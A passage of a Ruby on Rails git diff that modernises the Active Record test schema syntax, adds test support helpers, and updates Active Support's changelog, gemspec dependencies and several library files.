- t.string :content, :limit => 4000
- t.string :important, :limit => 4000
+ t.string :content, limit: 4000
+ t.string :important, limit: 4000
else
t.text :content
t.text :important
end
- t.boolean :approved, :default => true
- t.integer :replies_count, :default => 0
+ t.boolean :approved, default: true
+ t.integer :replies_count, default: 0
+ t.integer :unique_replies_count, default: 0
t.integer :parent_id
t.string :parent_title
t.string :type
t.string :group
- t.timestamps
+ t.timestamps null: true
end
- create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+ create_table :toys, primary_key: :toy_id, force: true do |t|
t.string :name
t.integer :pet_id, :integer
- t.timestamps
+ t.timestamps null: false
end
- create_table :traffic_lights, :force => true do |t|
+ create_table :traffic_lights, force: true do |t|
t.string :location
t.string :state
+ t.text :long_state, null: false
t.datetime :created_at
t.datetime :updated_at
end
- create_table :treasures, :force => true do |t|
+ create_table :treasures, force: true do |t|
t.column :name, :string
t.column :type, :string
t.column :looter_id, :integer
t.column :looter_type, :string
end
- create_table :tyres, :force => true do |t|
+ create_table :tyres, force: true do |t|
t.integer :car_id
end
- create_table :variants, :force => true do |t|
+ create_table :variants, force: true do |t|
t.references :product
t.string :name
end
- create_table :vertices, :force => true do |t|
+ create_table :vertices, force: true do |t|
t.column :label, :string
end
- create_table 'warehouse-things', :force => true do |t|
+ create_table 'warehouse-things', force: true do |t|
t.integer :value
end
[:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
- create_table(t, :force => true) { }
+ create_table(t, force: true) { }
end
# NOTE - the following 4 tables are used by models that have :inverse_of options on the associations
- create_table :men, :force => true do |t|
+ create_table :men, force: true do |t|
t.string :name
end
- create_table :faces, :force => true do |t|
+ create_table :faces, force: true do |t|
t.string :description
t.integer :man_id
t.integer :polymorphic_man_id
t.string :polymorphic_man_type
+ t.integer :poly_man_without_inverse_id
+ t.string :poly_man_without_inverse_type
t.integer :horrible_polymorphic_man_id
t.string :horrible_polymorphic_man_type
end
- create_table :interests, :force => true do |t|
+ create_table :interests, force: true do |t|
t.string :topic
t.integer :man_id
t.integer :polymorphic_man_id
@@ -737,63 +812,88 @@ ActiveRecord::Schema.define do
t.integer :zine_id
end
- create_table :wheels, :force => true do |t|
- t.references :wheelable, :polymorphic => true
+ create_table :wheels, force: true do |t|
+ t.references :wheelable, polymorphic: true
end
- create_table :zines, :force => true do |t|
+ create_table :zines, force: true do |t|
t.string :title
end
- create_table :countries, :force => true, :id => false, :primary_key => 'country_id' do |t|
+ create_table :countries, force: true, id: false, primary_key: 'country_id' do |t|
t.string :country_id
t.string :name
end
- create_table :treaties, :force => true, :id => false, :primary_key => 'treaty_id' do |t|
+ create_table :treaties, force: true, id: false, primary_key: 'treaty_id' do |t|
t.string :treaty_id
t.string :name
end
- create_table :countries_treaties, :force => true, :id => false do |t|
- t.string :country_id, :null => false
- t.string :treaty_id, :null => false
+ create_table :countries_treaties, force: true, id: false do |t|
+ t.string :country_id, null: false
+ t.string :treaty_id, null: false
end
- create_table :liquid, :force => true do |t|
+ create_table :liquid, force: true do |t|
t.string :name
end
- create_table :molecules, :force => true do |t|
+ create_table :molecules, force: true do |t|
t.integer :liquid_id
t.string :name
end
- create_table :electrons, :force => true do |t|
+ create_table :electrons, force: true do |t|
t.integer :molecule_id
t.string :name
end
- create_table :weirds, :force => true do |t|
+ create_table :weirds, force: true do |t|
t.string 'a$b'
+ t.string 'ãªã¾ãˆ'
t.string 'from'
end
+ create_table :hotels, force: true do |t|
+ end
+ create_table :departments, force: true do |t|
+ t.integer :hotel_id
+ end
+ create_table :cake_designers, force: true do |t|
+ end
+ create_table :drink_designers, force: true do |t|
+ end
+ create_table :chefs, force: true do |t|
+ t.integer :employable_id
+ t.string :employable_type
+ t.integer :department_id
+ end
+
+ create_table :records, force: true do |t|
+ end
+
except 'SQLite' do
# fk_test_has_fk should be before fk_test_has_pk
- create_table :fk_test_has_fk, :force => true do |t|
- t.integer :fk_id, :null => false
+ create_table :fk_test_has_fk, force: true do |t|
+ t.integer :fk_id, null: false
end
- create_table :fk_test_has_pk, :force => true do |t|
+ create_table :fk_test_has_pk, force: true, primary_key: "pk_id" do |t|
end
- execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
+ add_foreign_key :fk_test_has_fk, :fk_test_has_pk, column: "fk_id", name: "fk_name", primary_key: "pk_id"
+ add_foreign_key :lessons_students, :students
+ end
- execute "ALTER TABLE lessons_students ADD CONSTRAINT student_id_fk FOREIGN KEY (#{quote_column_name 'student_id'}) REFERENCES #{quote_table_name 'students'} (#{quote_column_name 'id'})"
+ create_table :overloaded_types, force: true do |t|
+ t.float :overloaded_float, default: 500
+ t.float :unoverloaded_float
+ t.string :overloaded_string_with_limit, limit: 255
+ t.string :string_with_default, default: 'the original default'
end
end
-Course.connection.create_table :courses, :force => true do |t|
- t.column :name, :string, :null => false
+Course.connection.create_table :courses, force: true do |t|
+ t.column :name, :string, null: false
t.column :college_id, :integer
end
-College.connection.create_table :colleges, :force => true do |t|
- t.column :name, :string, :null => false
+College.connection.create_table :colleges, force: true do |t|
+ t.column :name, :string, null: false
end
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
index e9ddeb32cf..b5552c2755 100644
--- a/activerecord/test/schema/sqlite_specific_schema.rb
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -1,16 +1,13 @@
ActiveRecord::Schema.define do
- # For sqlite 3.1.0+, make a table with an autoincrement column
- if supports_autoincrement?
- create_table :table_with_autoincrement, :force => true do |t|
- t.column :name, :string
- end
+ create_table :table_with_autoincrement, :force => true do |t|
+ t.column :name, :string
end
execute "DROP TABLE fk_test_has_fk" rescue nil
execute "DROP TABLE fk_test_has_pk" rescue nil
execute <<_SQL
CREATE TABLE 'fk_test_has_pk' (
- 'id' INTEGER NOT NULL PRIMARY KEY
+ 'pk_id' INTEGER NOT NULL PRIMARY KEY
);
_SQL
@@ -19,7 +16,7 @@ _SQL
'id' INTEGER NOT NULL PRIMARY KEY,
'fk_id' INTEGER NOT NULL,
- FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('id')
+ FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('pk_id')
);
_SQL
-end \ No newline at end of file
+end
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index 196b3a9493..d11fd9cfc1 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -15,7 +15,7 @@ module ARTest
puts "Using #{connection_name}"
ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
ActiveRecord::Base.configurations = connection_config
- ActiveRecord::Base.establish_connection 'arunit'
- ARUnit2Model.establish_connection 'arunit2'
+ ActiveRecord::Base.establish_connection :arunit
+ ARUnit2Model.establish_connection :arunit2
end
end
diff --git a/activerecord/test/support/connection_helper.rb b/activerecord/test/support/connection_helper.rb
new file mode 100644
index 0000000000..4a19e5df44
--- /dev/null
+++ b/activerecord/test/support/connection_helper.rb
@@ -0,0 +1,14 @@
+module ConnectionHelper
+ def run_without_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ yield original_connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+
+ # Used to drop all cache query plans in tests.
+ def reset_connection
+ original_connection = ActiveRecord::Base.remove_connection
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+end
diff --git a/activerecord/test/support/ddl_helper.rb b/activerecord/test/support/ddl_helper.rb
new file mode 100644
index 0000000000..43cb235e01
--- /dev/null
+++ b/activerecord/test/support/ddl_helper.rb
@@ -0,0 +1,8 @@
+module DdlHelper
+ def with_example_table(connection, table_name, definition = nil)
+ connection.execute("CREATE TABLE #{table_name}(#{definition})")
+ yield
+ ensure
+ connection.execute("DROP TABLE #{table_name}")
+ end
+end
diff --git a/activerecord/test/support/schema_dumping_helper.rb b/activerecord/test/support/schema_dumping_helper.rb
new file mode 100644
index 0000000000..2d1651454d
--- /dev/null
+++ b/activerecord/test/support/schema_dumping_helper.rb
@@ -0,0 +1,20 @@
+module SchemaDumpingHelper
+ def dump_table_schema(table, connection = ActiveRecord::Base.connection)
+ old_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+ ActiveRecord::SchemaDumper.ignore_tables = connection.tables - [table]
+ stream = StringIO.new
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ stream.string
+ ensure
+ ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
+ end
+
+ def dump_all_table_schema(ignore_tables)
+ old_ignore_tables, ActiveRecord::SchemaDumper.ignore_tables = ActiveRecord::SchemaDumper.ignore_tables, ignore_tables
+ stream = StringIO.new
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+ stream.string
+ ensure
+ ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
+ end
+end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index f5f2aa85ef..912b0287af 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,320 +1,9 @@
-## Rails 4.0.0 (unreleased) ##
+* Added `#verified` and `#valid_message?` methods to `ActiveSupport::MessageVerifier`
-* Deprecate `ActiveSupport::BasicObject` in favor of `ActiveSupport::ProxyObject`.
- This class is used for proxy classes. It avoids confusion with Ruby's BasicObject
- class.
+ Previously, the only way to decode a message with `ActiveSupport::MessageVerifier` was to use `#verify`, which would raise an exception on invalid messages. Now `#verified` can also be used, which returns `nil` on messages that cannot be decoded.
- *Francesco Rodriguez*
+ Previously, there was no way to check if a message's format was valid without attempting to decode it. `#valid_message?` is a boolean convenience method that checks whether the message is valid without actually decoding it.
-* Patched Marshal#load to work with constant autoloading.
- Fixes autoloading with cache stores that relay on Marshal(MemCacheStore and FileStore). [fixes #8167]
+ *Logan Leger*
- *Uriel Katz*
-
-* Make `Time.zone.parse` to work with JavaScript format date strings. *Andrew White*
-
-* Add `DateTime#seconds_until_end_of_day` and `Time#seconds_until_end_of_day`
- as a complement for `seconds_from_midnight`; useful when setting expiration
- times for caches, e.g.:
-
- <% cache('dashboard', expires_in: Date.current.seconds_until_end_of_day) do %>
- ...
-
- *Olek Janiszewski*
-
-* No longer proxy ActiveSupport::Multibyte#class. *Steve Klabnik*
-
-* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. *Carlos Antonio da Silva*
-
-* `XmlMini.with_backend` now may be safely used with threads:
-
- Thread.new do
- XmlMini.with_backend("REXML") { rexml_power }
- end
- Thread.new do
- XmlMini.with_backend("LibXML") { libxml_power }
- end
-
- Each thread will use it's own backend.
-
- *Nikita Afanasenko*
-
-* Dependencies no longer trigger Kernel#autoload in remove_constant [fixes #8213]. *Xavier Noria*
-
-* Simplify mocha integration and remove monkey-patches, bumping mocha to 0.13.0. *James Mead*
-
-* `#as_json` isolates options when encoding a hash.
- Fix #8182
-
- *Yves Senn*
-
-* Deprecate Hash#diff in favor of MiniTest's #diff. *Steve Klabnik*
-
-* Kernel#capture can catch output from subprocesses *Dmitry Vorotilin*
-
-* `to_xml` conversions now use builder's `tag!` method instead of explicit invocation of `method_missing`.
-
- *Nikita Afanasenko*
-
-* Fixed timezone mapping of the Solomon Islands. *Steve Klabnik*
-
-* Make callstack attribute optional in
- ActiveSupport::Deprecation::Reporting methods `warn` and `deprecation_warning`
-
- *Alexey Gaziev*
-
-* Implement HashWithIndifferentAccess#replace so key? works correctly. *David Graham*
-
-* Handle the possible Permission Denied errors atomic.rb might trigger due to its chown and chmod calls. *Daniele Sluijters*
-
-* Hash#extract! returns only those keys that present in the receiver.
-
- {:a => 1, :b => 2}.extract!(:a, :x) # => {:a => 1}
-
- *Mikhail Dieterle*
-
-* Hash#extract! returns the same subclass, that the receiver is. I.e.
- HashWithIndifferentAccess#extract! returns HashWithIndifferentAccess instance.
-
- *Mikhail Dieterle*
-
-* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead. *Brian Durand*
-
-* Tests tag the Rails log with the current test class and test case:
-
- [SessionsControllerTest] [test_0002_sign in] Processing by SessionsController#create as HTML
- [SessionsControllerTest] [test_0002_sign in] ...
-
- *Jeremy Kemper*
-
-* Add `logger.push_tags` and `.pop_tags` to complement logger.tagged:
-
- class Job
- def before
- Rails.logger.push_tags :jobs, self.class.name
- end
-
- def after
- Rails.logger.pop_tags 2
- end
- end
-
- *Jeremy Kemper*
-
-* Allow delegation to the class using the `:class` keyword, replacing
- `self.class` usage:
-
- class User
- def self.hello
- "world"
- end
-
- delegate :hello, to: :class
- end
-
- *Marc-Andre Lafortune*
-
-* `Date.beginning_of_week` thread local and `beginning_of_week` application
- config option added (default is Monday).
-
- *Innokenty Mikhailov*
-
-* An optional block can be passed to `config_accessor` to set its default value
-
- class User
- include ActiveSupport::Configurable
- config_accessor :hair_colors do
- [:brown, :black, :blonde, :red]
- end
- end
-
- User.hair_colors # => [:brown, :black, :blonde, :red]
-
- *Larry Lv*
-
-* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of
- thread safety. It will be removed without replacement in Rails 4.1.
-
- *Steve Klabnik*
-
-* An optional block can be passed to `Hash#deep_merge`. The block will be invoked
- for each duplicated key and used to resolve the conflict.
-
- *Pranas Kiziela*
-
-* ActiveSupport::Deprecation is now a class. It is possible to create an instance
- of deprecator. Backwards compatibility has been preserved.
-
- You can choose which instance of the deprecator will be used.
-
- deprecate :method_name, :deprecator => deprecator_instance
-
- You can use ActiveSupport::Deprecation in your gem.
-
- require 'active_support/deprecation'
- require 'active_support/core_ext/module/deprecation'
-
- class MyGem
- def self.deprecator
- ActiveSupport::Deprecation.new('2.0', 'MyGem')
- end
-
- def old_method
- end
-
- def new_method
- end
-
- deprecate :old_method => :new_method, :deprecator => deprecator
- end
-
- MyGem.new.old_method
- # => DEPRECATION WARNING: old_method is deprecated and will be removed from MyGem 2.0 (use new_method instead). (called from <main> at file.rb:18)
-
- *Piotr Niełacny & Robert Pankowecki*
-
-* `ERB::Util.html_escape` encodes single quote as `#39`. Decimal form has better support in old browsers. *Kalys Osmonov*
-
-* `ActiveSupport::Callbacks`: deprecate monkey patch of object callbacks.
- Using the #filter method like this:
-
- before_filter MyFilter.new
-
- class MyFilter
- def filter(controller)
- end
- end
-
- Is now deprecated with recommendation to use the corresponding filter type
- (`#before`, `#after` or `#around`):
-
- before_filter MyFilter.new
-
- class MyFilter
- def before(controller)
- end
- end
-
- *Bogdan Gusiev*
-
-* An optional block can be passed to `HashWithIndifferentAccess#update` and `#merge`.
- The block will be invoked for each duplicated key, and used to resolve the conflict,
- thus replicating the behaviour of the corresponding methods on the `Hash` class.
-
- *Leo Cassarani*
-
-* Remove `j` alias for `ERB::Util#json_escape`.
- The `j` alias is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`
- and both modules are included in the view context that would confuse the developers.
-
- *Akira Matsuda*
-
-* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore
-
- *Guillermo Iguaran*
-
-* Add default values to all `ActiveSupport::NumberHelper` methods, to avoid
- errors with empty locales or missing values.
-
- *Carlos Antonio da Silva*
-
-* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and
- `#encode_json` methods for custom JSON string literals.
-
- *Erich Menge*
-
-* Add String#indent. *fxn & Ace Suares*
-
-* Inflections can now be defined per locale. `singularize` and `pluralize`
- accept locale as an extra argument.
-
- *David Celis*
-
-* `Object#try` will now return nil instead of raise a NoMethodError if the
- receiving object does not implement the method, but you can still get the
- old behavior by using the new `Object#try!`.
-
- *DHH*
-
-* `ERB::Util.html_escape` now escapes single quotes. *Santiago Pastorino*
-
-* `Time#change` now works with time values with offsets other than UTC or the local time zone. *Andrew White*
-
-* `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback. *Bogdan Gusiev*
-
-* Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`. *SungHee Kang*
-
-* Remove obsolete and unused `require_association` method from dependencies. *fxn*
-
-* Add `:instance_accessor` option for `config_accessor`.
-
- class User
- include ActiveSupport::Configurable
- config_accessor :allowed_access, instance_accessor: false
- end
-
- User.new.allowed_access = true # => NoMethodError
- User.new.allowed_access # => NoMethodError
-
- *Francesco Rodriguez*
-
-* ActionView::Helpers::NumberHelper methods have been moved to ActiveSupport::NumberHelper and are now available via
- Numeric#to_s. Numeric#to_s now accepts the formatting options :phone, :currency, :percentage, :delimited,
- :rounded, :human, and :human_size. *Andrew Mutz*
-
-* Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys`, and `Hash#deep_transform_keys!`. *Mark McSpadden*
-
-* Changed xml type `datetime` to `dateTime` (with upper case letter `T`). *Angelo Capilleri*
-
-* Add `:instance_accessor` option for `class_attribute`. *Alexey Vakhov*
-
-* `constantize` now looks in the ancestor chain. *Marc-Andre Lafortune & Andrew White*
-
-* Adds `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a +Hash+ instance into strings *Lucas Húngaro*
-
-* Adds `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a +Hash+ instance into symbols *Lucas Húngaro*
-
-* `Object#try` can't call private methods. *Vasiliy Ermolovich*
-
-* `AS::Callbacks#run_callbacks` remove `key` argument. *Francesco Rodriguez*
-
-* `deep_dup` works more expectedly now and duplicates also values in +Hash+ instances and elements in +Array+ instances. *Alexey Gaziev*
-
-* Inflector no longer applies ice -> ouse to words like slice, police, ets *Wes Morgan*
-
-* Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations *twinturbo*
-
-* Make Module#delegate stop using `send` - can no longer delegate to private methods. *dasch*
-
-* AS::Callbacks: deprecate `:rescuable` option. *Bogdan Gusiev*
-
-* Adds Integer#ordinal to get the ordinal suffix string of an integer. *Tim Gildea*
-
-* AS::Callbacks: `:per_key` option is no longer supported
-
-* `AS::Callbacks#define_callbacks`: add `:skip_after_callbacks_if_terminated` option.
-
-* Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it. *Carlos Antonio da Silva*
-
-* Deprecates the compatibility method Module#local_constant_names,
- use Module#local_constants instead (which returns symbols). *fxn*
-
-* Deletes the compatibility method Module#method_names,
- use Module#methods from now on (which returns symbols). *fxn*
-
-* Deletes the compatibility method Module#instance_method_names,
- use Module#instance_methods from now on (which returns symbols). *fxn*
-
-* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger
- from Ruby stdlib.
-
-* Unicode database updated to 6.1.0.
-
-* Adds `encode_big_decimal_as_string` option to force JSON serialization of BigDecimals as numeric instead
- of wrapping them in strings for safety.
-
-* Remove deprecated ActiveSupport::JSON::Variable. *Erich Menge*
-
-* Optimize log subscribers to check log level before doing any processing. *Brian Durand*
-
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activesupport/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index c2bcf1d3e7..d06d4f3b2d 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2012 David Heinemeier Hansson
+Copyright (c) 2005-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
index ed688ecc59..a6424a353a 100644
--- a/activesupport/README.rdoc
+++ b/activesupport/README.rdoc
@@ -12,7 +12,7 @@ The latest version of Active Support can be installed with RubyGems:
% [sudo] gem install activesupport
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the Rails project on GitHub:
* https://github.com/rails/rails/tree/master/activesupport
@@ -26,10 +26,15 @@ Active Support is released under the MIT license:
== Support
-API documentation is at
+API documentation is at:
* http://api.rubyonrails.org
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
index 822c9d98ae..7c40df8dc8 100644
--- a/activesupport/Rakefile
+++ b/activesupport/Rakefile
@@ -7,24 +7,24 @@ Rake::TestTask.new do |t|
t.pattern = 'test/**/*_test.rb'
t.warning = true
t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
end
namespace :test do
- Rake::TestTask.new(:isolated) do |t|
- t.pattern = 'test/ts_isolated.rb'
+ task :isolated do
+ Dir.glob("test/**/*_test.rb").all? do |file|
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
+ end or raise "Failures"
end
end
-# Create compressed packages
-dist_dirs = [ "lib", "test"]
-
spec = eval(File.read('activesupport.gemspec'))
Gem::PackageTask.new(spec) do |p|
p.gem_spec = spec
end
-desc "Release to gemcutter"
+desc "Release to rubygems"
task :release => :package do
require 'rake/gemcutter'
Rake::Gemcutter::Tasks.new(spec).define
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index a4216d2cb4..f86f5133fc 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
s.summary = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework.'
s.description = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.license = 'MIT'
@@ -20,8 +20,9 @@ Gem::Specification.new do |s|
s.rdoc_options.concat ['--encoding', 'UTF-8']
- s.add_dependency 'i18n', '~> 0.6'
- s.add_dependency 'multi_json', '~> 1.3'
- s.add_dependency 'tzinfo', '~> 0.3.33'
- s.add_dependency 'minitest', '~> 4.1'
+ s.add_dependency 'i18n', '>= 0.7.0.beta1', '< 0.8'
+ s.add_dependency 'json', '~> 1.7', '>= 1.7.7'
+ s.add_dependency 'tzinfo', '~> 1.1'
+ s.add_dependency 'minitest', '~> 5.1'
+ s.add_dependency 'thread_safe','~> 0.1'
end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
index 5fefa429df..71a6b78652 100755
--- a/activesupport/bin/generate_tables
+++ b/activesupport/bin/generate_tables
@@ -28,12 +28,6 @@ module ActiveSupport
def initialize
@ucd = Unicode::UnicodeDatabase.new
-
- default = Codepoint.new
- default.combining_class = 0
- default.uppercase_mapping = 0
- default.lowercase_mapping = 0
- @ucd.codepoints = Hash.new(default)
end
def parse_codepoints(line)
@@ -61,7 +55,7 @@ module ActiveSupport
codepoint.combining_class = Integer($4)
#codepoint.bidi_class = $5
codepoint.decomp_type = $7
- codepoint.decomp_mapping = ($8=='') ? nil : $8.split.collect { |element| element.hex }
+ codepoint.decomp_mapping = ($8=='') ? nil : $8.split.collect(&:hex)
#codepoint.bidi_mirrored = ($13=='Y') ? true : false
codepoint.uppercase_mapping = ($16=='') ? 0 : $16.hex
codepoint.lowercase_mapping = ($17=='') ? 0 : $17.hex
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index b602686114..94468240a4 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2005-2012 David Heinemeier Hansson
+# Copyright (c) 2005-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -39,7 +39,6 @@ module ActiveSupport
eager_autoload do
autoload :BacktraceCleaner
- autoload :BasicObject
autoload :ProxyObject
autoload :Benchmarkable
autoload :Cache
@@ -53,6 +52,7 @@ module ActiveSupport
autoload :MessageEncryptor
autoload :MessageVerifier
autoload :Multibyte
+ autoload :NumberHelper
autoload :OptionMerger
autoload :OrderedHash
autoload :OrderedOptions
@@ -64,6 +64,22 @@ module ActiveSupport
autoload :Rescuable
autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
autoload :TestCase
+
+ def self.eager_load!
+ super
+
+ NumberHelper.eager_load!
+ end
+
+ @@test_order = nil
+
+ def self.test_order=(new_order)
+ @@test_order = new_order
+ end
+
+ def self.test_order
+ @@test_order
+ end
end
autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index f1aff8a8e3..d06f22ad5c 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -13,17 +13,17 @@ module ActiveSupport
# can focus on the rest.
#
# bc = BacktraceCleaner.new
- # bc.add_filter { |line| line.gsub(Rails.root, '') }
- # bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
- # bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
+ # bc.add_filter { |line| line.gsub(Rails.root.to_s, '') } # strip the Rails.root prefix
+ # bc.add_silencer { |line| line =~ /mongrel|rubygems/ } # skip any lines from mongrel or rubygems
+ # bc.clean(exception.backtrace) # perform the cleanup
#
# To reconfigure an existing BacktraceCleaner (like the default one in Rails)
# and show as much data as possible, you can always call
# <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
# backtrace to a pristine state. If you need to reconfigure an existing
# BacktraceCleaner so that it does not filter or modify the paths of any lines
- # of the backtrace, you can call BacktraceCleaner#remove_filters! These two
- # methods will give you a completely untouched backtrace.
+ # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
+ # These two methods will give you a completely untouched backtrace.
#
# Inspired by the Quiet Backtrace gem by Thoughtbot.
class BacktraceCleaner
@@ -65,13 +65,16 @@ module ActiveSupport
@silencers << block
end
- # Will remove all silencers, but leave in the filters. This is useful if
- # your context of debugging suddenly expands as you suspect a bug in one of
+ # Removes all silencers, but leaves in the filters. Useful if your
+ # context of debugging suddenly expands as you suspect a bug in one of
# the libraries you use.
def remove_silencers!
@silencers = []
end
+ # Removes all filters, but leaves in the silencers. Useful if you suddenly
+ # need to see entire filepaths in the backtrace that you had already
+ # filtered out.
def remove_filters!
@filters = []
end
@@ -94,11 +97,7 @@ module ActiveSupport
end
def noise(backtrace)
- @silencers.each do |s|
- backtrace = backtrace.select { |line| s.call(line) }
- end
-
- backtrace
+ backtrace - silence(backtrace)
end
end
end
diff --git a/activesupport/lib/active_support/basic_object.rb b/activesupport/lib/active_support/basic_object.rb
deleted file mode 100644
index 242b766b58..0000000000
--- a/activesupport/lib/active_support/basic_object.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'active_support/deprecation'
-
-module ActiveSupport
- # :nodoc:
- # Deprecated in favor of ActiveSupport::ProxyObject
- BasicObject = Deprecation::DeprecatedConstantProxy.new('ActiveSupport::BasicObject', 'ActiveSupport::ProxyObject')
-end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
index 6413502b53..805b7a714f 100644
--- a/activesupport/lib/active_support/benchmarkable.rb
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -45,15 +45,5 @@ module ActiveSupport
yield
end
end
-
- # Silence the logger during the execution of the block.
- def silence
- message = "ActiveSupport::Benchmarkable#silence is deprecated. It will be removed from Rails 4.1."
- ActiveSupport::Deprecation.warn message
- old_logger_level, logger.level = logger.level, ::Logger::ERROR if logger
- yield
- ensure
- logger.level = old_logger_level if logger
- end
end
end
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
deleted file mode 100644
index 0595446189..0000000000
--- a/activesupport/lib/active_support/buffered_logger.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'active_support/deprecation'
-require 'active_support/logger'
-
-module ActiveSupport
- BufferedLogger = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(
- 'BufferedLogger', '::ActiveSupport::Logger')
-end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index fdec2de1d5..ff67a6828c 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -3,20 +3,20 @@ require 'zlib'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/exception'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/numeric/bytes'
require 'active_support/core_ext/numeric/time'
require 'active_support/core_ext/object/to_param'
require 'active_support/core_ext/string/inflections'
+require 'active_support/deprecation'
module ActiveSupport
# See ActiveSupport::Cache::Store for documentation.
module Cache
- autoload :FileStore, 'active_support/cache/file_store'
- autoload :MemoryStore, 'active_support/cache/memory_store'
+ autoload :FileStore, 'active_support/cache/file_store'
+ autoload :MemoryStore, 'active_support/cache/memory_store'
autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
- autoload :NullStore, 'active_support/cache/null_store'
+ autoload :NullStore, 'active_support/cache/null_store'
# These options mean something to all cache implementations. Individual cache
# implementations may support additional options.
@@ -57,16 +57,7 @@ module ActiveSupport
case store
when Symbol
- store_class_name = store.to_s.camelize
- store_class =
- begin
- require "active_support/cache/#{store}"
- rescue LoadError => e
- raise "Could not find cache store adapter for #{store} (#{e})"
